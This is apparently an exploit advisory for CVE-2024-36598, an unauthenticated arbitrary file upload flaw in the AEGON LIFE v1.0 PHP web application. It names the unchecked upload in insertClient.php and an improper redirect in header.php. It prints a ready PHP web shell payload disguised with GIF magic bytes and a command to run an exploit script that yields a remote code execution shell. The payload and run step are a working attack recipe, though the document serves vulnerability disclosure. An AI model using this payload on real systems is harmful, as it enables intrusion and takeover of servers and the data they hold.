# Category: Web application
# Vendor Homepage: https:\/\/projectworlds.in\/
# Software Link: https:\/\/projectworlds.in\/life-insurance-management-system-in-php\/
# Version: AEGON LIFE v1.0
# Tested on: Linux
# CVE: CVE-2024-36598<\/p>\n
# Description:
—————-<\/p>\n
-An arbitrary file upload vulnerability in Aegon Life v1.0 allows attackers to execute arbitrary code via uploading a crafted PHP file by adding image\/gif magic bytes in payload.<\/p>\n
-In insertClient.php fileToUpload is only checking for image file but not checking for extensions, also header.php is not properly handling the redirection hence allowing Unauthenticated redirect.<\/p>\n
# Payload:
——————<\/p>\n
payload = “GIF89a;'<?php echo shell_exec($_GET[\\’cmd\\’]); ?>'”<\/p>\n
# RCE via executing exploit:
—————————————<\/p>\n
# Step : run the exploit in python with this command: python3 shell.py http:\/\/localhost\/lims\/
# will lead to RCE shell.<\/p>\n
